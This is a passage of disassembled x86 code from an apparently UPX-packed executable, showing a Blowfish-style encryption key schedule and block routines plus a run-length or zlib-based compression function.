		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp+var_80], edx
		mov	ecx, [ebp+var_78]
		imul	ecx, [ebp+var_80]
		mov	edx, [ebp+var_7C]
		imul	edx, [ebp+var_80]
		mov	eax, [ebp+var_78]
		imul	eax, [ebp+var_84]
		add	eax, edx
		xor	edx, edx
		mov	esi, 2710h
		div	esi
		mov	eax, edx
		imul	eax, 2710h
		add	eax, ecx
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	eax, edx
		add	eax, 1
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		imul	eax, [ebp+var_88]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		and	eax, 0FFh
		mov	[ebp+var_74], eax
		mov	[ebp+var_9C], 100h
		mov	eax, [ebp+var_8]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp+var_90], eax
		mov	eax, [ebp+var_8]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp+var_8C], edx
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp+var_98], eax
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp+var_94], edx
		mov	ecx, [ebp+var_8C]
		imul	ecx, [ebp+var_94]
		mov	edx, [ebp+var_90]
		imul	edx, [ebp+var_94]
		mov	eax, [ebp+var_8C]
		imul	eax, [ebp+var_98]
		add	eax, edx
		xor	edx, edx
		mov	esi, 2710h
		div	esi
		mov	eax, edx
		imul	eax, 2710h
		add	eax, ecx
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	eax, edx
		add	eax, 1
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		imul	eax, [ebp+var_9C]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		and	eax, 0FFh
		mov	[ebp+var_68], eax
		mov	[ebp+var_B0], 100h
		mov	eax, [ebp+var_8]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp+var_A4], eax
		mov	eax, [ebp+var_8]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp+var_A0], edx
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp+var_AC], eax
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp+var_A8], edx
		mov	ecx, [ebp+var_A0]
		imul	ecx, [ebp+var_A8]
		mov	edx, [ebp+var_A4]
		imul	edx, [ebp+var_A8]
		mov	eax, [ebp+var_A0]
		imul	eax, [ebp+var_AC]
		add	eax, edx
		xor	edx, edx
		mov	esi, 2710h
		div	esi
		mov	eax, edx
		imul	eax, 2710h
		add	eax, ecx
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	eax, edx
		add	eax, 1
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		imul	eax, [ebp+var_B0]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		and	eax, 0FFh
		mov	[ebp+var_6C], eax
		mov	[ebp+var_C4], 100h
		mov	eax, [ebp+var_8]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp+var_B8], eax
		mov	eax, [ebp+var_8]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp+var_B4], edx
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp+var_C0], eax
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp+var_BC], edx
		mov	ecx, [ebp+var_B4]
		imul	ecx, [ebp+var_BC]
		mov	edx, [ebp+var_B8]
		imul	edx, [ebp+var_BC]
		mov	eax, [ebp+var_B4]
		imul	eax, [ebp+var_C0]
		add	eax, edx
		xor	edx, edx
		mov	esi, 2710h
		div	esi
		mov	eax, edx
		imul	eax, 2710h
		add	eax, ecx
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	eax, edx
		add	eax, 1
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		imul	eax, [ebp+var_C4]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		and	eax, 0FFh
		mov	[ebp+var_70], eax
		mov	edx, [ebp+var_10]
		shl	edx, 0Ah
		mov	eax, [ebp+arg_0]
		add	eax, edx
		mov	ecx, [ebp+var_6C]
		shl	ecx, 8
		mov	edx, [ebp+var_68]
		shl	edx, 10h
		mov	esi, [ebp+var_74]
		shl	esi, 18h
		or	esi, edx
		or	esi, ecx
		or	esi, [ebp+var_70]
		mov	ecx, [ebp+var_5C]
		mov	[eax+ecx*4], esi
		jmp	loc_48F90C
; ---------------------------------------------------------------------------


loc_48FC69:				; CODE XREF: sub_48F82B+F1j
		jmp	loc_48F8F0
; ---------------------------------------------------------------------------


loc_48FC6E:				; CODE XREF: sub_48F82B+D2j
		mov	[ebp+var_10], 0
		mov	[ebp+var_5C], 0
		jmp	short loc_48FC87
; ---------------------------------------------------------------------------


loc_48FC7E:				; CODE XREF: sub_48F82B+4CCj
		mov	edx, [ebp+var_10]
		add	edx, 1
		mov	[ebp+var_10], edx


loc_48FC87:				; CODE XREF: sub_48F82B+451j
		cmp	[ebp+var_10], 12h
		jge	short loc_48FCF9
		mov	[ebp+var_64], 0
		mov	[ebp+var_60], 0
		jmp	short loc_48FCA6
; ---------------------------------------------------------------------------


loc_48FC9D:				; CODE XREF: sub_48F82B:loc_48FCD8j
		mov	eax, [ebp+var_60]
		add	eax, 1
		mov	[ebp+var_60], eax


loc_48FCA6:				; CODE XREF: sub_48F82B+470j
		cmp	[ebp+var_60], 4
		jge	short loc_48FCDA
		mov	ecx, [ebp+var_64]
		shl	ecx, 8
		mov	edx, [ebp+arg_4]
		add	edx, [ebp+var_5C]
		movsx	eax, byte ptr [edx]
		or	ecx, eax
		mov	[ebp+var_64], ecx
		mov	ecx, [ebp+var_5C]
		add	ecx, 1
		mov	[ebp+var_5C], ecx
		mov	edx, [ebp+var_5C]
		cmp	edx, [ebp+arg_8]
		jl	short loc_48FCD8
		mov	[ebp+var_5C], 0


loc_48FCD8:				; CODE XREF: sub_48F82B+4A4j
		jmp	short loc_48FC9D
; ---------------------------------------------------------------------------


loc_48FCDA:				; CODE XREF: sub_48F82B+47Fj
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax*4+1000h]
		xor	edx, [ebp+var_64]
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+eax*4+1000h], edx
		jmp	short loc_48FC7E
; ---------------------------------------------------------------------------


loc_48FCF9:				; CODE XREF: sub_48F82B+460j
		mov	[ebp+var_4], 0
		mov	[ebp+var_C], 0
		mov	[ebp+var_10], 0
		jmp	short loc_48FD19
; ---------------------------------------------------------------------------


loc_48FD10:				; CODE XREF: sub_48F82B+528j
		mov	edx, [ebp+var_10]
		add	edx, 2
		mov	[ebp+var_10], edx


loc_48FD19:				; CODE XREF: sub_48F82B+4E3j
		cmp	[ebp+var_10], 12h
		jge	short loc_48FD55
		lea	eax, [ebp+var_C]
		push	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_48FDCE
		add	esp, 0Ch
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_4]
		mov	[ecx+eax*4+1000h], edx
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+eax*4+1004h], edx
		jmp	short loc_48FD10
; ---------------------------------------------------------------------------


loc_48FD55:				; CODE XREF: sub_48F82B+4F2j
		mov	[ebp+var_10], 0
		jmp	short loc_48FD67
; ---------------------------------------------------------------------------


loc_48FD5E:				; CODE XREF: sub_48F82B:loc_48FDC7j
		mov	eax, [ebp+var_10]
		add	eax, 1
		mov	[ebp+var_10], eax


loc_48FD67:				; CODE XREF: sub_48F82B+531j
		cmp	[ebp+var_10], 4
		jge	short loc_48FDC9
		mov	[ebp+var_5C], 0
		jmp	short loc_48FD7F
; ---------------------------------------------------------------------------


loc_48FD76:				; CODE XREF: sub_48F82B+59Aj
		mov	ecx, [ebp+var_5C]
		add	ecx, 2
		mov	[ebp+var_5C], ecx


loc_48FD7F:				; CODE XREF: sub_48F82B+549j
		cmp	[ebp+var_5C], 100h
		jge	short loc_48FDC7
		lea	edx, [ebp+var_C]
		push	edx
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_48FDCE
		add	esp, 0Ch
		mov	edx, [ebp+var_10]
		shl	edx, 0Ah
		mov	eax, [ebp+arg_0]
		add	eax, edx
		mov	ecx, [ebp+var_5C]
		mov	edx, [ebp+var_4]
		mov	[eax+ecx*4], edx
		mov	eax, [ebp+var_10]
		shl	eax, 0Ah
		mov	ecx, [ebp+arg_0]
		add	ecx, eax
		mov	edx, [ebp+var_5C]
		mov	eax, [ebp+var_C]
		mov	[ecx+edx*4+4], eax
		jmp	short loc_48FD76
; ---------------------------------------------------------------------------


loc_48FDC7:				; CODE XREF: sub_48F82B+55Bj
		jmp	short loc_48FD5E
; ---------------------------------------------------------------------------


loc_48FDC9:				; CODE XREF: sub_48F82B+540j
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_48F82B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48FDCE	proc near		; CODE XREF: sub_48F82B+500p
					; sub_48F82B+569p ...

var_10		= word ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	[ebp+var_8], eax
		mov	[ebp+var_10], 0
		jmp	short loc_48FDF8
; ---------------------------------------------------------------------------


loc_48FDEC:				; CODE XREF: sub_48FDCE+6Fj
		mov	cx, [ebp+var_10]
		add	cx, 1
		mov	[ebp+var_10], cx


loc_48FDF8:				; CODE XREF: sub_48FDCE+1Cj
		movsx	edx, [ebp+var_10]
		cmp	edx, 10h
		jge	short loc_48FE3F
		movsx	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_4]
		xor	edx, [ecx+eax*4+1000h]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_48FE83
		add	esp, 8
		xor	eax, [ebp+var_8]
		mov	[ebp+var_8], eax
		mov	edx, [ebp+var_4]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_8], ecx
		jmp	short loc_48FDEC
; ---------------------------------------------------------------------------


loc_48FE3F:				; CODE XREF: sub_48FDCE+31j
		mov	edx, [ebp+var_4]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		xor	eax, [edx+1040h]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_4]
		xor	edx, [ecx+1044h]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_8]
		mov	eax, [ebp+var_8]
		mov	[edx], eax
		mov	esp, ebp
		pop	ebp
		retn
sub_48FDCE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48FE83	proc near		; CODE XREF: sub_48FDCE+4Fp
					; sub_48FFA4+4Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		shr	eax, 18h
		and	eax, 0FFh
		mov	ecx, [ebp+arg_4]
		shr	ecx, 10h
		and	ecx, 0FFh
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+eax*4]
		mov	edx, [ebp+arg_0]
		add	eax, [edx+ecx*4+400h]
		mov	ecx, [ebp+arg_4]
		shr	ecx, 8
		and	ecx, 0FFh
		mov	edx, [ebp+arg_0]
		xor	eax, [edx+ecx*4+800h]
		mov	ecx, [ebp+arg_4]
		and	ecx, 0FFh
		mov	edx, [ebp+arg_0]
		add	eax, [edx+ecx*4+0C00h]
		pop	ebp
		retn
sub_48FE83	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48FED8	proc near		; DATA XREF: sub_4B45FB+17Co

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_4C85D6
		add	esp, 4
		mov	esp, ebp
		pop	ebp
		retn
sub_48FED8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48FEF2	proc near		; DATA XREF: sub_4B45FB+177o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_8]
		and	al, 0F8h
		mov	[ebp+arg_8], eax
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_8]
		cdq
		and	edx, 3
		add	eax, edx
		sar	eax, 2
		mov	edx, [ebp+var_4]
		lea	eax, [edx+eax*4]
		mov	[ebp+var_8], eax
		jmp	short loc_48FF26
; ---------------------------------------------------------------------------


loc_48FF1D:				; CODE XREF: sub_48FEF2+53j
		mov	ecx, [ebp+var_4]
		add	ecx, 8
		mov	[ebp+var_4], ecx


loc_48FF26:				; CODE XREF: sub_48FEF2+29j
		mov	edx, [ebp+var_4]
		cmp	edx, [ebp+var_8]
		jnb	short loc_48FF47
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_48FDCE
		add	esp, 0Ch
		jmp	short loc_48FF1D
; ---------------------------------------------------------------------------


loc_48FF47:				; CODE XREF: sub_48FEF2+3Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_48FEF2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48FF4B	proc near		; DATA XREF: sub_4B45FB+172o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_8]
		and	al, 0F8h
		mov	[ebp+arg_8], eax
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_8]
		cdq
		and	edx, 3
		add	eax, edx
		sar	eax, 2
		mov	edx, [ebp+var_4]
		lea	eax, [edx+eax*4]
		mov	[ebp+var_8], eax
		jmp	short loc_48FF7F
; ---------------------------------------------------------------------------


loc_48FF76:				; CODE XREF: sub_48FF4B+53j
		mov	ecx, [ebp+var_4]
		add	ecx, 8
		mov	[ebp+var_4], ecx


loc_48FF7F:				; CODE XREF: sub_48FF4B+29j
		mov	edx, [ebp+var_4]
		cmp	edx, [ebp+var_8]
		jnb	short loc_48FFA0
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_48FFA4
		add	esp, 0Ch
		jmp	short loc_48FF76
; ---------------------------------------------------------------------------


loc_48FFA0:				; CODE XREF: sub_48FF4B+3Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_48FF4B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48FFA4	proc near		; CODE XREF: sub_48FF4B+4Bp

var_10		= word ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	[ebp+var_8], eax
		mov	[ebp+var_10], 11h
		jmp	short loc_48FFCE
; ---------------------------------------------------------------------------


loc_48FFC2:				; CODE XREF: sub_48FFA4+6Fj
		mov	cx, [ebp+var_10]
		sub	cx, 1
		mov	[ebp+var_10], cx


loc_48FFCE:				; CODE XREF: sub_48FFA4+1Cj
		movsx	edx, [ebp+var_10]
		cmp	edx, 1
		jle	short loc_490015
		movsx	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_4]
		xor	edx, [ecx+eax*4+1000h]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_48FE83
		add	esp, 8
		xor	eax, [ebp+var_8]
		mov	[ebp+var_8], eax
		mov	edx, [ebp+var_4]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_8], ecx
		jmp	short loc_48FFC2
; ---------------------------------------------------------------------------


loc_490015:				; CODE XREF: sub_48FFA4+31j
		mov	edx, [ebp+var_4]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		xor	eax, [edx+1004h]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_4]
		xor	edx, [ecx+1000h]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_8]
		mov	eax, [ebp+var_8]
		mov	[edx], eax
		mov	esp, ebp
		pop	ebp
		retn
sub_48FFA4	endp

; ---------------------------------------------------------------------------
		align 4
byte_49005C	db 4 dup(0CCh)		; DATA XREF: UPX0:off_426B6Co

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_490060	proc near		; CODE XREF: sub_4B45FB+1Bp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		test	eax, eax
		jnz	short loc_49007B
		mov	dword_4ED2C0, 0
		jmp	short loc_4900AD
; ---------------------------------------------------------------------------


loc_49007B:				; CODE XREF: sub_490060+Dj
		mov	ecx, [ebp+arg_0]
		and	ecx, 0FFFFh
		cmp	ecx, 1
		jnz	short loc_490095
		mov	dword_4ED2C0, 1
		jmp	short loc_4900AD
; ---------------------------------------------------------------------------


loc_490095:				; CODE XREF: sub_490060+27j
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFFh
		cmp	edx, 2
		jnz	short loc_4900AD
		mov	dword_4ED2C0, 7


loc_4900AD:				; CODE XREF: sub_490060+19j
					; sub_490060+33j ...
		pop	ebp
		retn
sub_490060	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 60h
		cmp	dword_4ED2C0, 0
		jnz	loc_4902C7
		mov	eax, [ebp+8]
		mov	[ebp-10h], eax
		mov	ecx, [ebp+0Ch]
		mov	[ebp-18h], ecx
		mov	edx, [ebp-10h]
		add	edx, [ebp+10h]
		mov	[ebp-8], edx
		mov	eax, [ebp+14h]
		mov	ecx, [ebp-18h]
		lea	edx, [ecx+eax-2]
		mov	[ebp-0Ch], edx
		mov	byte ptr [ebp-4], 0FFh
		mov	byte ptr [ebp-14h], 1
		mov	eax, [ebp-18h]
		mov	byte ptr [eax],	1
		mov	ecx, [ebp-18h]
		add	ecx, 1
		mov	[ebp-18h], ecx


loc_4900FB:				; CODE XREF: .text:loc_490280j
		mov	edx, [ebp-10h]
		cmp	edx, [ebp-8]
		jnb	loc_490285
		mov	eax, [ebp-10h]
		add	eax, 2
		cmp	eax, [ebp-8]
		jnb	loc_49020E
		mov	ecx, [ebp-10h]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp-4]
		and	eax, 0FFh
		cmp	edx, eax
		jnz	loc_49020E
		mov	ecx, [ebp-10h]
		xor	edx, edx
		mov	dl, [ecx+1]
		mov	eax, [ebp-4]
		and	eax, 0FFh
		cmp	edx, eax
		jnz	loc_49020E
		mov	ecx, [ebp-10h]
		xor	edx, edx
		mov	dl, [ecx+2]
		mov	eax, [ebp-4]
		and	eax, 0FFh
		cmp	edx, eax
		jnz	loc_49020E
		mov	dword ptr [ebp-20h], 3
		mov	ecx, [ebp-10h]
		add	ecx, 3
		mov	[ebp-1Ch], ecx


loc_49016D:				; CODE XREF: .text:0049019Bj
		mov	edx, [ebp-1Ch]
		cmp	edx, [ebp-8]
		jnb	short loc_49019D
		mov	eax, [ebp-1Ch]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, [ebp-4]
		and	edx, 0FFh
		cmp	ecx, edx
		jnz	short loc_49019D
		mov	eax, [ebp-20h]
		add	eax, 1
		mov	[ebp-20h], eax
		mov	ecx, [ebp-1Ch]
		add	ecx, 1
		mov	[ebp-1Ch], ecx
		jmp	short loc_49016D
; ---------------------------------------------------------------------------


loc_49019D:				; CODE XREF: .text:00490173j
					; .text:00490187j ...
		cmp	dword ptr [ebp-20h], 3
		jb	short loc_490203
		cmp	dword ptr [ebp-20h], 101h
		jbe	short loc_4901B5
		mov	dword ptr [ebp-60h], 101h
		jmp	short loc_4901BB
; ---------------------------------------------------------------------------


loc_4901B5:				; CODE XREF: .text:004901AAj
		mov	edx, [ebp-20h]
		mov	[ebp-60h], edx


loc_4901BB:				; CODE XREF: .text:004901B3j
		mov	eax, [ebp-60h]
		mov	[ebp-24h], eax
		mov	ecx, [ebp-18h]
		mov	byte ptr [ecx],	0FFh
		mov	edx, [ebp-18h]
		add	edx, 1
		mov	[ebp-18h], edx
		mov	eax, [ebp-24h]
		sub	eax, 3
		mov	ecx, [ebp-18h]
		mov	[ecx], al
		mov	edx, [ebp-18h]
		add	edx, 1
		mov	[ebp-18h], edx
		mov	eax, [ebp-20h]
		sub	eax, [ebp-24h]
		mov	[ebp-20h], eax
		mov	ecx, [ebp-18h]
		cmp	ecx, [ebp-0Ch]
		jb	short loc_490201
		mov	byte ptr [ebp-14h], 0
		mov	edx, [ebp-8]
		mov	[ebp-10h], edx
		jmp	short loc_490203
; ---------------------------------------------------------------------------


loc_490201:				; CODE XREF: .text:004901F3j
		jmp	short loc_49019D
; ---------------------------------------------------------------------------


loc_490203:				; CODE XREF: .text:004901A1j
					; .text:004901FFj
		mov	eax, [ebp-1Ch]
		sub	eax, [ebp-20h]
		mov	[ebp-10h], eax
		jmp	short loc_490280
; ---------------------------------------------------------------------------


loc_49020E:				; CODE XREF: .text:00490110j
					; .text:00490127j ...
		mov	ecx, [ebp-10h]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 0FFh
		jnz	short loc_49024E
		mov	eax, [ebp-18h]
		mov	byte ptr [eax],	0FFh
		mov	ecx, [ebp-18h]
		add	ecx, 1
		mov	[ebp-18h], ecx
		mov	edx, [ebp-18h]
		mov	byte ptr [edx],	0FFh
		mov	eax, [ebp-18h]
		add	eax, 1
		mov	[ebp-18h], eax
		mov	ecx, [ebp-10h]
		mov	dl, [ecx]
		mov	[ebp-4], dl
		mov	eax, [ebp-10h]
		add	eax, 1
		mov	[ebp-10h], eax
		jmp	short loc_490272
; ---------------------------------------------------------------------------


loc_49024E:				; CODE XREF: .text:0049021Bj
		mov	ecx, [ebp-18h]
		mov	edx, [ebp-10h]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp-18h]
		mov	dl, [ecx]
		mov	[ebp-4], dl
		mov	eax, [ebp-18h]
		add	eax, 1
		mov	[ebp-18h], eax
		mov	ecx, [ebp-10h]
		add	ecx, 1
		mov	[ebp-10h], ecx


loc_490272:				; CODE XREF: .text:0049024Cj
		mov	edx, [ebp-18h]
		cmp	edx, [ebp-0Ch]
		jb	short loc_490280
		mov	byte ptr [ebp-14h], 0
		jmp	short loc_490285
; ---------------------------------------------------------------------------


loc_490280:				; CODE XREF: .text:0049020Cj
					; .text:00490278j
		jmp	loc_4900FB
; ---------------------------------------------------------------------------


loc_490285:				; CODE XREF: .text:00490101j
					; .text:0049027Ej
		mov	eax, [ebp-14h]
		and	eax, 0FFh
		test	eax, eax
		jnz	short loc_4902B9
		mov	ecx, [ebp+0Ch]
		mov	byte ptr [ecx],	0
		mov	edx, [ebp+10h]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		mov	ecx, [ebp+0Ch]
		add	ecx, 1
		push	ecx
		call	_memcpy_1
		add	esp, 0Ch
		mov	edx, [ebp+10h]
		add	edx, 1
		mov	[ebp+10h], edx
		jmp	short loc_4902C2
; ---------------------------------------------------------------------------


loc_4902B9:				; CODE XREF: .text:0049028Fj
		mov	eax, [ebp-18h]
		sub	eax, [ebp+0Ch]
		mov	[ebp+10h], eax


loc_4902C2:				; CODE XREF: .text:004902B7j
		jmp	loc_490347
; ---------------------------------------------------------------------------


loc_4902C7:				; CODE XREF: .text:004900BCj
		push	38h
		push	0
		lea	ecx, [ebp-5Ch]
		push	ecx
		call	_memset_0
		add	esp, 0Ch
		push	38h
		push	offset a1_1_4	; "1.1.4"
		mov	edx, dword_4ED2C0
		push	edx
		lea	eax, [ebp-5Ch]
		push	eax
		call	sub_4BE510
		add	esp, 10h
		test	eax, eax
		jnz	short loc_490334
		mov	ecx, [ebp+10h]
		mov	[ebp-58h], ecx
		mov	edx, [ebp+14h]
		mov	[ebp-4Ch], edx
		mov	eax, [ebp+8]
		mov	[ebp-5Ch], eax
		mov	ecx, [ebp+0Ch]
		mov	[ebp-50h], ecx
		push	4
		lea	edx, [ebp-5Ch]
		push	edx
		call	sub_4BEBAE
		add	esp, 8
		cmp	eax, 1
		jnz	short loc_49032B
		mov	eax, [ebp-50h]
		sub	eax, [ebp+0Ch]
		mov	[ebp+10h], eax
		jmp	short loc_490332
; ---------------------------------------------------------------------------


loc_49032B:				; CODE XREF: .text:0049031Ej
		mov	dword ptr [ebp+10h], 0


loc_490332:				; CODE XREF: .text:00490329j
		jmp	short loc_49033B
; ---------------------------------------------------------------------------


loc_490334:				; CODE XREF: .text:004902F3j
		mov	dword ptr [ebp+10h], 0


loc_49033B:				; CODE XREF: .text:loc_490332j
		lea	ecx, [ebp-5Ch]
		push	ecx
		call	sub_4BF045
		add	esp, 4


loc_490347:				; CODE XREF: .text:loc_4902C2j
		mov	eax, [ebp+10h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_49034E(int,void *Dst,size_t Size,int)

sub_49034E	proc near		; CODE XREF: sub_4B4BB9+C1p
					; DATA XREF: sub_4B45FB+16Do

var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
Dst		= dword	ptr  0Ch
Size		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		cmp	dword_4ED2C0, 0
		jnz	loc_4904B5
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+Dst]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+Size]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+Dst]
		add	eax, [ebp+arg_C]
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], 0FFh
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dl, [ecx]
		test	edx, edx
		jnz	short loc_4903B6
		mov	eax, [ebp+Size]
		sub	eax, 1
		mov	[ebp+Size], eax
		mov	ecx, [ebp+Size]
		push	ecx		; Size
		mov	edx, [ebp+arg_0]
		add	edx, 1
		push	edx		; Src
		mov	eax, [ebp+Dst]
		push	eax		; Dst
		call	_memcpy_1
		add	esp, 0Ch
		jmp	loc_4904B0
; ---------------------------------------------------------------------------


loc_4903B6:				; CODE XREF: sub_49034E+41j
